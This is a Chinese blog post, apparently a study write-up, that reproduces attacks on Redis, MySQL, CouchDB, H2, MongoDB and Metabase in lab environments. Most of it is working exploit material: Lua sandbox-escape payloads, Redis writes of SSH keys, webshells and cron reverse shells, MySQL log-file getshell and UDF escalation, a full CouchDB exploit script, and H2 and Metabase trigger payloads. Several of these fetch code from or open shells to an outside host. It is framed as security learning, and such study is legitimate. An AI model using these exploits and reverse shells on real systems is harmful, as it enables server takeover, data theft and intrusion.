数据库攻防学习

最新推荐文章于 2024-09-13 22:15:01 发布
最新推荐文章于 2024-09-13 22:15:01 发布
阅读量1.3k 收藏 28
点赞数 21
文章标签： 数据库 学习 junit
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/YJ_12340/article/details/135414668
版权

Redis

0x01 redis学习

在渗透测试面试或者网络安全面试中可能会常问redis未授权等一些知识，那么什么是redis？redis就是个数据库，常见端口为6379，常见漏洞为未授权访问。

0x02 环境搭建

这里可以自己搭建一个redis环境，也可以用vulfocus搭建一个环境，可以两个都搭建，因为一些攻击手法，需要自己搭建的环境才能成功。

图片

ubuntu 20.04+docker

docker create -p 8088:80 -v /var/run/docker.sock:/var/run/docker.sock -e
VUL_IP=127.0.0.1 vulfocus/vulfocus

建议vulfocus最好搭建在云服务器上，本机搭建的有的环境可能会复现不成功。

图片

0x03漏洞复现
Redis Lua沙盒绕过 命令执行 CVE-2022-0543

该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量，该变量又允许访问任意 Lua 功能。我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数，即可获得io库，再使用其执行命令

该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量，该变量又允许访问任意 Lua 功能

我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数，即可获得io库，再使用其执行命令

代码如下

local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io");

local io = io_l();

local f = io.popen("id", "r");

local res = f:read("*a");

f:close();

return res

payload如下

eval 'local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io"); local io = io_l(); local f = io.popen("id", "r");
local res = f:read("*a"); f:close(); return res' 0

漏洞复现

图片

eval 'local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io"); local io = io_l(); local f = io.popen("ls", "r");
local res = f:read("*a"); f:close(); return res' 0

图片

这里可以用another redis 这个个管理工具，方便redis数据库使用

eval 'local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io"); local io = io_l(); local f = io.popen("find / -name
flag*", "r"); local res = f:read("*a"); f:close(); return res' 0

图片

未授权访问redis 未授权访问 （CNVD-2015-07557）

这个未授权访问存在很多，而且面试也很常问，实战也能遇见到。

攻击姿势常见有三种，1写入公钥，2写入webshell,3写入计划任务，当然其中有不少细节，我们需要去掌握。

1.linux写入公钥

利用前提 Redis服务使用ROOT账号启动，安全模式protected-mode处于关闭状态

允许使用密钥登录，即可远程写入一个公钥，直接登录远程服务器

ssh-keygen -t rsa

cd /root/.ssh/

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> key.txt

cat key.txt | redis-cli -h 目标IP -x set xxx

图片

图片

图片

这里权限不够，这个是vulfocus有问题

满足条件的话可以直接这样，可以自己搭建一个redis环境做实验

具体搭建可参考

https://blog.csdn.net/qq_41210745/article/details/103305262

图片

yes要改成no

图片

环境启动，接着

图片

config set dir /root/.ssh/

config set dbfilename authorized_keys

save

cd /root/.ssh/

ssh -i id_rsa root@目标IP

图片

已经成功写入

进入该ubuntu查看 cd /root/.ssh/

图片

尝试SSH连接

ssh -i id_rsa root@192.168.48.133

图片

可以看到成功拿下

2.写入webshell

前提条件，有可写权限，存在web服务，知道web路径

继续用该环境下尝试webshell写入

命令如下

FLUSHALL 使用这个清空之前的配置

前提条件，web目录可以读写

config set dir /tmp 设置WEB写入目录

config set dbfilename test.php 设置写入文件名

set test "<?php phpinfo();?>" 设置写入文件代码

set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
换行防止执行失败

bgsave 保存执行

save

chmod -R 777 /var/www/html/

这里设置html尝试写入webshell

图片

3.写计划任务反弹shell

FLUSHALL 记得清空配置

利用条件：Redis服务使用ROOT账号启动，安全模式protected-mode处于关闭状态

环境依然是上面的配置环境

config set dir /var/spool/cron

set yy "\n\n\n* * * * * bash -i >& /dev/tcp/ip/端口
0>&1\n\n\n"

config set dbfilename x

save

set yy "nnn* * * * * bash -i >&
/dev/tcp/192.168.48.133/9999 0>&1\n\n\n"

注意：

centos会忽略乱码去执行格式正确的任务计划

而ubuntu并不会忽略这些乱码，所以导致命令执行失败

可以看到有乱码，ubuntu并未正常执行

图片

图片

图片

主从复制利用

https://github.com/n0b0dyCN/redis-rogue-server 得到的是一个交互式的shell

https://github.com/vulhub/redis-rogue-getshell 这个可以直接命令执行

redis-rogue-serve

python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost
IP

python3.6 redis-rogue-server.py --rhost 192.168.48.133 --rport 29325
--lhost 192.168.48.132

图片

redis-rogue-getshell

这里记得要编译

cd RedisModulesSDK/

make

python3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132
-P 6666 -f RedisModulesSDK/exp.so -c "id"

python3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132
-P 6666 -f RedisModulesSDK/exp.so -c "find / -name flag*"

实际情况中我们可以灵活运用exp.so文件，不一定非得用脚本，比如这种情况

天翼杯

考点反序列化，redis主从复制RCE代码

<?php

class a{

public $code = "";

function __call($method,$args){

eval($this->code);

}

// function __wakeup(){

// $this->code = "";

// }

}

class b{

function __destruct(){

echo $this->a->a();

}

}

$a=new A();

$b=new B();

$a->code="phpinfo();";

$b->a=$a;

echo
serialize($b);

构造POP链子，可以看到call魔术方法里面有eval函数，那么需要构造链子触发到call魔术方法。

__call():当调用对象中不存在的方法会自动调用该方法__wakeup()当使用unserialize()反序列化一个对象后，会自动调用该对象的__wakeup方法

这里__destruct方法调用了一个不存在的a方法，那么会调用到__call方法

因为__wakeup方法中$this->code = "";还有preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);这里有过滤，所以接下来要做到绕过__wakeup和正则，这里利用__wakeup的CVE和php对类名大小写不敏感的特性去绕过，A，B换成a,b，其中__wakeup漏洞原理:在类对象属性个数超过实际个数时就会不执行wakeup函数。

如下O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}绕过wakeupO:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

图片

这里无法执行system("ls"）

图片

蚁剑连接$a->code="eval($_POST["a"]);";

图片

图片

打开之后发现其泄露了redis的密码define("REDIS_PASS","you_cannot_guess_it");蚁剑插件连接上

图片

图片

使用EXP.so文件

图片

MODULE LOAD /var/www/html/exp.so

图片

然后就可以进行命令执行了

图片

若有收获，就点个赞吧

mysql

0x01mysql学习

MySQL 是瑞典的MySQL AB公司开发的一个可用于各种流行操作系统平台的关系数据库系统，它具有客户机/服务器体系结构的分布式数据库管理系统。可以免费使用使用，用的人数很多。

0x02环境搭建

这里演示用，phpstudy搭建的环境，然后安装phpmyadmin

图片

0x03漏洞复现
日志文件包含getshell

利用前提

知道网站路径，mysql版本大于5.0

利用条件 需要可读可写的权限，也就是高权限账号

所用到的命令

show variables like '%general%'; 查看日志读写功能

SET GLOBAL general_log='on'；开启日志读写功能

select @@basedir；查看mysql所在的绝对路径

SHOW VARIABLES LIKE "secure_file_priv";如果值为文件夹目录，则只允许修改目录下的文件，如果值为NULL则为禁止。

SET GLOBAL general_log_file='C:/phpstudy_pro/WWW/shell.php';修改日志文件路径

图片

图片

修改设置，该为开启，这样才能继续利用。

图片

再次查询，可以发现已经发生了改变

图片

访问验证

图片

select '';

图片

图片

总结，如果SHOW VARIABLES LIKE "secure_file_priv";为NULL则没办法使用into outfile 写文件，那么可以开启日志，修改日志文件路径和文件名为php，然后执行一个带有一句话的查询语句，完成getshell。

mysql udf提权

这里使用win10 +phpstudy，直接下个msyql就行了

udf提权是mysql的一种常见的提权方式。

什么是udf？

udf可以理解为用户自定义函数，可以用udf增加一些函数，在mysql里就能用这个函数了。

提权前提

获取mysql的控制权限。

mysql具有写入权限，即secure_file_priv的值为空。

show global variables like'%secure%';用这个查询

提权背景

拿到了mysql权限，没拿到服务器权限，可以通过mysql提权使其达到拿到服务器的权限

提权实验

实验版本mysql 5.5 操作系统win10

需要udf文件，可以从sqlmap里获取或者msf中获取。

这里可以直接用国光师傅的写好udf16进制

https://www.sqlsec.com/tools/udf.html

show global variables like'%secure%';

图片

如果不是空的话可以这样修改，这个需要在mysql目录下的ini文件进行修改或者添加。

图片

secure_file_priv=''然后重启服务。

如果是 MySQL >= 5.1 的版本，必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 libplugin 文件夹下文件夹下才能创建自定义函数。

这里我自己在目录下创建一个，也可以用NTFS ADS方法创建目录，但有可能不成功。

show variables like 'plugin%';

查询发现已经有了，然后进行文件写入。

图片

路径D:phpstudy_proExtensionsMySQL5.5.29libplugin

如果有Can't open shared library 'udf.dll'，切换成32位试试。

图片

实战中不成功，可以轮流尝试。

图片

创建自定义函数并且调用命令

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

select sys_eval('whoami');

select sys_eval('dir');

图片

发现已经成功并且是Administrator权限

couchdb数据库

漏洞介绍

ApacheCouchDB是一个开源数据库，专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式，JavaScript作为查询语言，MapReduce和HTTP作为API的NoSQL数据库。应用广泛，如BBC用在其动态内容展示平台，CreditSuisse用在其内部的商品部门的市场框架，Meebo，用在其社交平台（web和应用程序）。在2017年11月15日，CVE-2017-12635和CVE-2017-12636披露利用

漏洞复现
CVE-2017-12635

图片

PUT发包创建用户

选择内网映射端口为5984的抓包访问

图片

http://192.168.48.133:54944/_utils/#login

图片

这个为登陆应用

发包目的是增加用户，可以用bp或者postman

图片

PUT /_users/org.couchdb.user:vulhub HTTP/1.1

Host:

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64;
x64; Trident/5.0)

Connection: close

Content-Type: application/json

Content-Length: 110

{

"type": "user",

"name": "vulhub",

"roles": ["_admin"],

"roles": [],

"password": "vulhub"

}

图片

图片

成功添加用户

CVE-2017-12636

CVE-2017-12636 exp 命令执行

import requests

import json

import base64

from requests.auth import HTTPBasicAuth

target = 'http://your-ip:5984'

command = rb"""sh -i >& /dev/tcp/10.0.0.1/443 0>&1"""

version = 1

session = requests.session()

session.headers = {

'Content-Type': 'application/json'

}

# session.proxies = {

# 'http': 'http://127.0.0.1:8085'

# }

session.put(target + '/_users/org.couchdb.user:wooyun', data='''{

"type": "user",

"name": "wooyun",

"roles": ["_admin"],

"roles": [],

"password": "wooyun"

}''')

session.auth = HTTPBasicAuth('wooyun', 'wooyun')

command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" %
base64.b64encode(command).decode()

if version == 1:

session.put(target + ('/_config/query_servers/cmd'),
data=json.dumps(command))

else:

host = session.get(target +
'/_membership').json()['all_nodes'][0]

session.put(target +
'/_node/{}/_config/query_servers/cmd'.format(host),
data=json.dumps(command))

session.put(target + '/wooyun')

session.put(target + '/wooyun/test', data='{"_id":
"wooyuntest"}')

if version == 1:

session.post(target + '/wooyun/_temp_view?limit=10',
data='{"language":"cmd","map":""}')

else:

session.put(target + '/wooyun/_design/test',
data='{"_id":"_design/test","views":{"wooyun":{"map":""}
},"language":"cmd"}')

图片

h2database数据库

H2 是一个开源的嵌入式数据库引擎，纯 java 实现的关系型数据库，不受平台的限制。

图片

未授权访问

发现其可以未授权访问jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;

图片

在JDBC URL输入这个语句点击connect即可未授权访问

图片

RCE姿势

在VPS里面创建个sql文件，然后远程加载利用服务。

re_shell.sql

CREATE TABLE test (

id INT NOT NULL

);

CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript

Java.type("java.lang.Runtime").getRuntime().exec("bash -c
{echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';

bash -i >& /dev/tcp/ip/7888 0>&1

图片

远程加载姿势如下，填入python启动的ip和端口

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT
FROM 'http://IP:port/re_shell.sql';

图片

mongodb数据库

大致介绍一下

MongoDB是一个基于分布式文件存储的数据库

由C++语言编写，旨在为WEB应用提供可扩展的高性能数据存储解决方案。

未授权访问漏洞

可以用msf检测

search mongodb

图片

存在未授权访问漏洞

图片

可以利用mongodb连接工具直接连接

metabase数据库分析

metabase是一款开源的简易但强大同时又无缝兼容大数据和传统数据库的分析工具

Metabase geojson任意文件读取漏洞 （CVE-2021-41277）

payload /api/geojson?url=file:/etc/passwd

图片

Metabase 远程代码执行漏洞（CVE-2023-38646）

Metabase是一个开源的数据分析和可视化工具，它可以帮助用户轻松地连接到各种数据源，包括数据库、云服务和API，然后使用直观的界面进行数据查询、分析和可视化。Metabase 存在远程代码执行漏洞，可导致攻击者在服务器上以运行 Metabase 服务器的权限执行任意代码。

这里使用vulhub的docker环境，vulfocus可能有问题没复现成功

GET访问

/api/session/properties

图片

exp

POST /api/setup/validate HTTP/1.1

Host: your-ip

Content-Type: application/json

{

"token": "token值",

"details":

{

"is_on_demand": false,

"is_full_sync": false,

"is_sample": false,

"cache_ttl": null,

"refingerprint": false,

"auto_run_queries": true,

"schedules":

{},

"details":

{

"db":
"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1;CREATE
TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS
$$//javascriptnjava.lang.Runtime.getRuntime().exec('执行的命令')n$$--=x",

"advanced-options": false,

"ssl": true

},

"name": "test",

"engine": "h2"

}

}

验证一下

python启动一个http服务，然后exec执行curl ip:8899/1.txt

python3 -m http.server 8899

图片

验证成功

图片

尝试反弹shell

未能成功反弹shell，利用其他方法进行反弹shell，可以执行命令从VPS下载sh脚本然后在用命令运行该脚本进行反弹shell

图片

创建个re_shell.sh，内容如下

!/bin/sh

bash -c 'exec bash -i >& /dev/tcp/ip/6667 0>&1'

执行 wget http://ip:port/re_shell.sh

图片

执行

/bin/bash /tmp/re_shell.sh

图片

成功反弹shell

图片

蚁景网络安全
关注
redis-CNVD-2015-07557
m0_51369969的博客
07-13 842
redis设计缺陷，导致服务器被添加账号用于ssh远程登录
Redis漏洞总结--未授权--沙箱绕过--(CNVD-2015-07557)&&(CNVD-2019-21763)&&(CVE-2022-0543)
weixin_74985952的博客
09-22 1171
由于在Reids 4.x及以上版本中新增了模块功能，攻击者可通过外部拓展，在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块，在未授权访问的情况下使被攻击服务器加载恶意.so 文件，从而实现远程代码执行。对于Redis服务的未授权访问，首先需要确认Redis未授权是否存在，使用Redis数据库客户端进行连接测试，如何没有密码，即未授权漏洞存在。漏洞利用有三种利用方式，每种方式都有限制条件，本质就是使用Redis数据库操作语句在目标主机进行写入文件。注意：部分没目录权限读写权限。
服务攻防_01数据库安全Redis&Couchdb&H2database
fencecat的博客
07-20 1307
本节内容涵盖了对几种常见数据库可能存在的安全漏洞进行复现的方法，包括Redis的未授权访问与已知CVE漏洞、CouchDB的未授权越权漏洞与已知CVE漏洞，以及H2 Database的未授权访问漏洞与已知CVE漏洞。
Redis Rogue Server 安装和配置指南
最新发布
gitblog_09313的博客
09-13 405
Redis Rogue Server 安装和配置指南 redis-rogue-server Redis(
未授权漏洞复现mysql,Redis,Hadoop
m0_63917373的博客
11-30 1384
未授权漏洞复现 mysql Redis Hadoop vulhub
Redis漏洞利用的4种方法
qq_50854662的博客
05-13 4674
Redis简介 redis是一个key-value存储系统。和Memcached类似，它支持存储的value类型相对更多，包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash（哈希类型）。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作，而且这些操作都是原子性的。在此基础上，redis支持各种不同方式的排序。与memcached一样，为了保证效率，数据都是缓存在内存中。区别的是redis会周期性的把更
数据库攻防之道Oracle
02-10
学习《数据库攻防之道Oracle》，读者不仅能掌握Oracle数据库的安全最佳实践，还能提升整体的安全意识，这对于任何依赖Oracle数据库的企业和个人都是至关重要的。通过深入理解和应用书中的知识，我们可以更好地保护...
Access数据库SQL注入攻防技术研究 (1).pdf
09-19
SQL注入攻击是一种网络安全威胁，尤其针对使用Access数据库的ASP+IIS网站架构。Access数据库因其低成本和易于管理的特性，被广泛应用在...然而，安全工作是一个持续的过程，需要不断学习和改进，以应对新的攻击手段。
PHP数据库连接安全攻防：防止数据泄露和恶意攻击，保护你的数据库资产
[PHP数据库连接安全攻防：防止数据泄露和恶意攻击，保护你的数据库资产](https://img-blog.csdnimg.cn/20201217125529106.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9...
数据库安全攻防实战：防范数据泄露与恶意攻击：保护数据库安全的终极指南
[数据库安全攻防实战：防范数据泄露与恶意攻击：保护数据库安全的终极指南](https://s.secrss.com/anquanneican/33ccd47d5a51bd8026ee6eebbc19e18d.png) # 1. 数据库安全概述** 数据库安全是确保数据库系统及其数据...
redis安全攻防（专注渗透视角）
LainWith的博客
04-11 3068
数据库作为业务平台信息技术的核心和基础，承载着越来越多的关键数据，渐渐成为单位公共安全中最具有战略性的资产，数据库的安全稳定运行也直接决定着业务系统能否正常使用。并且平台的数据库中往往储存着等极其重要和敏感的信息。这些信息一旦被篡改或者泄露，轻则造成企业经济损失，重则影响企业形象，甚至行业、社会安全。可见，数据库安全至关重要。所以对数据库的保护是一项必须的，关键的，重要的工作任务。
redis主从复制
weixin_63231007的博客
02-28 1862
redis主从复制原理以及简单演示(环境真难搭)
Redis Rogue Server: 创新的Redis安全测试工具
gitblog_00067的博客
04-18 453
Redis Rogue Server: 创新的Redis安全测试工具 去发现同类优质开源项目:https://gitcode.com/ 项目简介 Redis Rogue Server 是一个开源项目，由开发者 Dliv3 创建，旨在帮助系统管理员和安全专家进行红队（Red Team）操作和渗透测试，模拟恶意Redis服务器行为。通过这个工具，你可以测试你的应用程序如何处理被篡改或不安全的Redis...
探索Redis安全新纪元：Redis Rogue Server
gitblog_00044的博客
05-16 428
探索Redis安全新纪元：Redis Rogue Server redis-rogue-serverRedis(
redis攻防
weixin_59762059的博客
06-09 217
redis
Redis未授权访问漏洞是什么？如何复现（包括整理出在复现过程中遇到的各种问题）+编写扫描检测脚本
sGanYu
03-19 6712
目录 Redis未授权访问漏洞原理 环境配通常来说置：CentOS下安装Redis 手工未授权访问验证 利用方式 在攻击机中使用ssh免密登陆靶机 利用漏洞写入webshell 编写脚本检测 未授权访问漏洞可以理解为安全配置不当、在需要进行权限认证处未对当前用户进行权限识别，导致攻击者在没有获取到登录权限或未授权的情况下，对目标进行操作或者被信息泄露 常见的未授权漏洞： Redis 未授权访问漏洞 MongoDB 未授权访问漏洞 JBOSS 未授权访问漏洞 VNC 未授权访问漏洞 宝塔
redis配置不当可直接导致服务器被控制
★匆匆★的专栏
11-14 1938
http://www.secpulse.com/archives/40406.html#respond 预警简述： 2014年的时候安全脉搏首发《利用redis写webshell》《redis写shell的小技巧》 近日我们监测到antirez.com曝出redis存在高危安全风险，攻击者利用该风险可直接控制业务服务器，导致被入侵。 目前已监测到攻击者正在利用该漏洞攻击
Redis服务入侵记
一枚小白的分享，不喜勿喷~
08-22 946
百度百科：Redis（Remote Dictionary Server），即远程字典服务，是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。Redis因配置不当可导致攻击者直接获取到服务器的权限。利用条件：redis以root身份运行，未授权访问，弱口令或者口令泄露等。
Access数据库手工注入攻防实战教程
"E103-数据库安全-手工注入access数据库" 本文主要讲解了数据库安全的一个常见...这个课程提供了一个实用的教程，让学习者了解如何识别和利用Access数据库的SQL注入漏洞，同时也强调了在实际开发中应采取的安全措施。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值